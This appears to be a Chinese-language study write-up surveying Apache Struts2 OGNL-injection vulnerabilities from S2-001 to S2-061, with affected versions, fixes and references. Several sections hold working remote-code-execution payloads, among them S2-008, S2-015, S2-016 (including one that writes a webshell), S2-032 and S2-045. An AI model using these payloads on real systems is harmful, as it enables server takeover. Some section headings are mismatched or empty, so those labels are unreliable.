struts2漏洞_S2-001

struts2漏洞

漏洞介绍

全部题都是struts2框架漏洞,Struts2是用Java语言编写的一个基于MVC设计模式的Web应用框架

2017年3月6日，Apache Struts 2被曝存在远程命令执行漏洞。在使用基于Jakarta插件的文件上传功能条件下，恶意用户可以通过修改HTTP请求头中的Content-Type值构造恶意代码，在服务器上执行系统命令，完全控制该服务器，最后达到挖矿、对外攻/击、数据窃取勒索、篡改为菠菜站等目的。漏洞利用所需组件默认启用，风险等级为高危。

2.漏洞编号

• CVE-2017-5638
• CNNVD-201703-152

3.影响的Struts2版本

• Struts 2.3.5 – Struts 2.3.31
• Struts 2.5 – Struts 2.5.1

4.解决方案

（1）临时解决方案：删除commons-fileupload-x.x.x.jar文件（会造成上传功能不可用）。

（2）根本解决方案：升级版本至Apache Struts 2.3.32 或 Apache Struts 2.5.10.1 以消除漏洞影响。涉及版本变更，升级前应做好数据备份。

补丁地址：
Struts 2.3.32： https://github.com/apache/struts/releases/tag/STRUTS_2_3_32
Struts 2.5.10.1： https://github.com/apache/struts/releases/tag/STRUTS_2_5_10_1

5.自行检测方法

查看web目录下/WEB-INF/lib/目录下的struts2-core-x.x.x.jar文件，如果x代表的版本号在2.3.5到2.3.31 以及2.5到2.5.10之间且未修改默认配置则存在漏洞。

Struts Scan工具介绍

使用场景：在主机外围验证漏洞存在与否。

1.Struts Scan工具下载地址

【推荐】Lucifer原创在GitHub： https://github.com/Lucifer1993/struts-scan

struts2漏洞基础

OGNL——Object-Graph Navigation Language（对象图导航语言）

OGNL是Object-Graph Navigation Language（对象图导航语言）的缩写，它是一种功能强大的表达式语言（Expression Language，简称为EL），通过它简单一致的表达式语法，可以存取对象的任意属性，调用对象的方法，遍历整个对象的结构图，实现字段类型转化等功能。它使用相同的表达式去存取对象的属性。

S2-001

漏洞描述

struts2漏洞 S2-001是当用户提交表单数据且验证失败时，服务器使用OGNL表达式解析用户先前提交的参数值，%{value}并重新填充相应的表单数据。例如，在注册或登录页面中。如果提交失败，则服务器通常默认情况下将返回先前提交的数据。由于服务器用于%{value}对提交的数据执行OGNL表达式解析，因此服务器可以直接发送有效载荷来执行命令。

S2-003

Struts2将HTTP的每个参数名解析为ognl语句执行,而ognl表达式是通过#来访问struts的对象，Struts2框架虽然过滤了#来进行过滤，但是可以通过unicode编码（u0023）或8进制（43）绕过了安全限制，达到代码执行的效果

影响版本：Struts 2.0.0 - Struts 2.0.11.2

S2-005

s2-005漏洞的起源源于S2-003(受影响版本: 低于Struts 2.0.12)，struts2会将http的每个参数名解析为OGNL语句执行(可理解为java代码)。OGNL表达式通过#来访问struts的对象，struts框架通过过滤#字符防止安全问题，然而通过unicode编码(\u0023)或8进制(\43)即绕过了安全限制，对于S2-003漏洞，官方通过增加安全配置(禁止静态方法调用和类方法执行等)来修补，但是安全配置被绕过再次导致了漏洞，攻击者可以利用OGNL表达式将这2个选项打开

影响版本：Struts 2.0.0-2.1.8.1

S2-008

当配置了验证规则 <ActionName>-validation.xml 时，若类型验证转换出错，后端默认会将用户提交的表单值通过字符串拼接，然后执行一次 OGNL 表达式解析并返回。例如这里有一个 UserAction：

(...)
public class UserAction extends ActionSupport {
    private Integer age;
    private String name;
    private String email;

(...)

然后配置有 UserAction-validation.xml：

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE validators PUBLIC
    "-//OpenSymphony Group//XWork Validator 1.0//EN"
    "http://www.opensymphony.com/xwork/xwork-validator-1.0.2.dtd">
<validators>
    <field name="age">
        <field-validator type="int">
            <param name="min">1</param>
            <param name="max">150</param>
        </field-validator>
    </field>
</validators>

当用户提交 age 为字符串而非整形数值时，后端用代码拼接 "'" + value + "'" 然后对其进行 OGNL 表达式解析。要成功利用，只需要找到一个配置了类似验证规则的表单字段使之转换出错，借助类似 SQLi 注入单引号拼接的方式即可注入任意 OGNL 表达式。

因为受影响版本为 Struts2 2.0.0 - Struts2 2.2.3

S2-008

S2-008 涉及多个漏洞，Cookie 拦截器错误配置可造成 OGNL 表达式执行，但是由于大多 Web 容器（如 Tomcat）对 Cookie 名称都有字符限制，一些关键字符无法使用使得这个点显得比较鸡肋。另一个比较
鸡肋的点就是在 struts2 应用开启 devMode 模式后会有多个调试接口能够直接查看对象信息或直接执行命令，正如 kxlzx 所提这种情况在生产环境中几乎不可能存在，因此就变得很鸡肋的，但我认为也不是>绝对的，万一被黑了专门丢了一个开启了 debug 模式的应用到服务器上作为后门也是有可能的。

例如在 devMode 模式下直接添加参数?debug=command&expression=<OGNL EXP>，会直接执行后面的 OGNL 表达式，因此可以直接执行命令（注意转义）：

http://localhost:8080/S2-008/devmode.action?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@java.lang.Runtime@getRuntime%28%29.exec%28%22open%20%2fApplications%2fCalculator.app%22%29)

S2-009

引入ognl的方法不光可能出现在这个漏洞中，也可能出现在其他java应用中。

Struts2对s2-003的修复方法是禁止静态方法调用，在s2-005中可直接通过OGNL绕过该限制，对于#号，同样使用编码\u0023或\43进行绕过；于是Struts2对s2-005的修复方法是禁止\等特殊符号，使用户不能提交反斜线。

但是，如果当前action中接受了某个参数example，这个参数将进入OGNL的上下文。所以，我们可以将OGNL表达式放在example参数中，然后使用/helloword.acton?example=<OGNL statement>&(example)('xxx')=1的方法来执行它，从而绕过官方对#、\等特殊字符的防御。

S2-012

如果在配置 Action 中 Result 时使用了重定向类型，并且还使用 ${param_name} 作为重定向变量，例如：

<package name="S2-012" extends="struts-default">
    <action name="user" class="com.demo.action.UserAction">
        <result name="redirect" type="redirect">/index.jsp?name=${name}</result>
        <result name="input">/index.jsp</result>
        <result name="success">/index.jsp</result>
    </action>
</package>

这里 UserAction 中定义有一个 name 变量，当触发 redirect 类型返回时，Struts2 获取使用 ${name} 获取其值，在这个过程中会对 name 参数的值执行 OGNL 表达式解析，从而可以插入任意 OGNL 表达式导致命令执行。

S2-013

S2-014 是对 S2-013 修复的加强，在 S2-013 修复的代码中忽略了 ${ognl_exp} OGNL 表达式执行的方式，因此 S2-014 是对其的补丁加强。

影响版本: 2.0.0 - 2.3.14.1

s2-015

漏洞产生于配置了 Action 通配符 *，并将其作为动态值时，解析时会将其内容执行 OGNL 表达式，例如：

<package name="S2-015" extends="struts-default">
    <action name="*" class="com.demo.action.PageAction">
        <result>/{1}.jsp</result>
    </action>
</package>

上述配置能让我们访问 name.action 时使用 name.jsp 来渲染页面，但是在提取 name 并解析时，对其执行了 OGNL 表达式解析，所以导致命令执行。在实践复现的时候发现，由于 name 值的位置比较特殊，一些特殊的字符如 / “ \ 都无法使用（转义也不行），所以在利用该点进行远程命令执行时一些带有路径的命令可能无法执行成功。

还有需要说明的就是在 Struts 2.3.14.1 - Struts 2.3.14.2 的更新内容中，删除了 SecurityMemberAccess 类中的 setAllowStaticMethodAccess 方法，因此在 2.3.14.2 版本以后都不能直接通过 #_memberAccess['allowStaticMethodAccess']=true 来修改其值达到重获静态方法调用的能力。

这里为了到达执行命令的目的可以用 kxlzx 提到的调用动态方法 (new java.lang.ProcessBuilder(‘calc’)).start() 来解决，另外还可以借助 Java 反射机制去间接修改：

#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m.set(#_memberAccess,true)

可以构造 Payload 如下：

${#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m.set(#_memberAccess,true),#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream()),#q}

影响版本: 2.0.0 - 2.3.14.2

s2-016

在struts2中，DefaultActionMapper类支持以”action:”、”redirect:”、”redirectAction:”作为导航或是重定向前缀，但是这些前缀后面同时可以跟OGNL表达式，由于struts2没有对这些前缀做过滤，导致利用OGNL表达式调用java静态方法执行任意系统命令。

所以，访问http://your-ip:8080/index.action?redirect:OGNL表达式即可执行OGNL表达式。

执行命令：

redirect:${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=@java.lang.Runtime@getRuntime().exec("uname -a").getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[5000],#c.read(#d),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println(#d),#genxor.flush(),#genxor.close()}

获取web目录：

redirect:${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#ot=#resp.getWriter (),#ot.print('web'),#ot.print('path:'),#ot.print(#req.getSession().getServletContext().getRealPath('/')),#ot.flush(),#ot.close()}

写入webshell：

redirect:${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletRequest"),#b=new java.io.FileOutputStream(new java.lang.StringBuilder(#a.getRealPath("/")).append(@java.io.File@separator).append("1.jspx").toString()),#b.write(#a.getParameter("t").getBytes()),#b.close(),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println("BINGO"),#genxor.flush(),#genxor.close()}

s2-032

Struts2在开启了动态方法调用（Dynamic Method Invocation）的情况下，可以使用method:<name>的方式来调用名字是<name>的方法，而这个方法名将会进行OGNL表达式计算，导致远程命令执行漏洞。

直接请求如下URL，即可执行id命令：

http://your-ip:8080/index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=id

s2-045

直接发送如下数据包，可见233*233已成功执行：

POST / HTTP/1.1
Host: localhost:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.8,es;q=0.6
Connection: close
Content-Length: 0
Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',233*233)}.multipart/form-data

s2-046

与s2-045类似，但是输入点在文件上传的filename值位置，并需要使用\x00截断。

s2-

s2-052

Struts2-Rest-Plugin是让Struts2能够实现Restful API的一个插件，其根据Content-Type或URI扩展名来判断用户传入的数据包类型，有如下映射表：

扩展名	Content-Type	解析方法
xml	application/xml	xstream
json	application/json	jsonlib或jackson(可选)
xhtml	application/xhtml+xml	无
无	application/x-www-form-urlencoded	无
无	multipart/form-data	无

jsonlib无法引入任意对象，而xstream在默认情况下是可以引入任意对象的（针对1.5.x以前的版本），方法就是直接通过xml的tag name指定需要实例化的类名：

<classname></classname>
//或者
<paramname class="classname"></paramname>

所以，我们可以通过反序列化引入任意类造成远程命令执行漏洞，只需要找到一个在Struts2库中适用的gedget。

s2-053

Struts2在使用Freemarker模板引擎的时候，同时允许解析OGNL表达式。导致用户输入的数据本身不会被OGNL解析，但由于被Freemarker解析一次后变成离开一个表达式，被OGNL解析第二次，导致任意命令执行漏洞。

s2-057

当Struts2的配置满足以下条件时：

• alwaysSelectFullNamespace值为true
• action元素未设置namespace属性，或使用了通配符

namespace将由用户从uri传入，并作为OGNL表达式计算，最终造成任意命令执行漏洞。

影响版本: 小于等于 Struts 2.3.34 与 Struts 2.5.16

漏洞详情:

• https://cwiki.apache.org/confluence/display/WW/S2-057
• https://lgtm.com/blog/apache_struts_CVE-2018-11776
• https://xz.aliyun.com/t/2618
• https://mp.weixin.qq.com/s/iBLrrXHvs7agPywVW7TZrg

s2-059

《OGNL Apache Struts exploit: Weaponizing a sandbox bypass (CVE-2018-11776)》给出了绕过struts2.5.16版本的沙盒的poc，利用这个poc可以达到执行系统命令。

s2-061

S2-061是对S2-059的绕过，Struts2官方对S2-059的修复方式是加强OGNL表达式沙盒，而S2-061绕过了该沙盒。该漏洞影响版本范围是Struts 2.0.0到Struts 2.5.25。

参考链接：

• https://cwiki.apache.org/confluence/display/WW/S2-061
• https://github.com/ka1n4t/CVE-2020-17530
• https://www.anquanke.com/post/id/225252
• https://mp.weixin.qq.com/s/RD2HTMn-jFxDIs4-X95u6g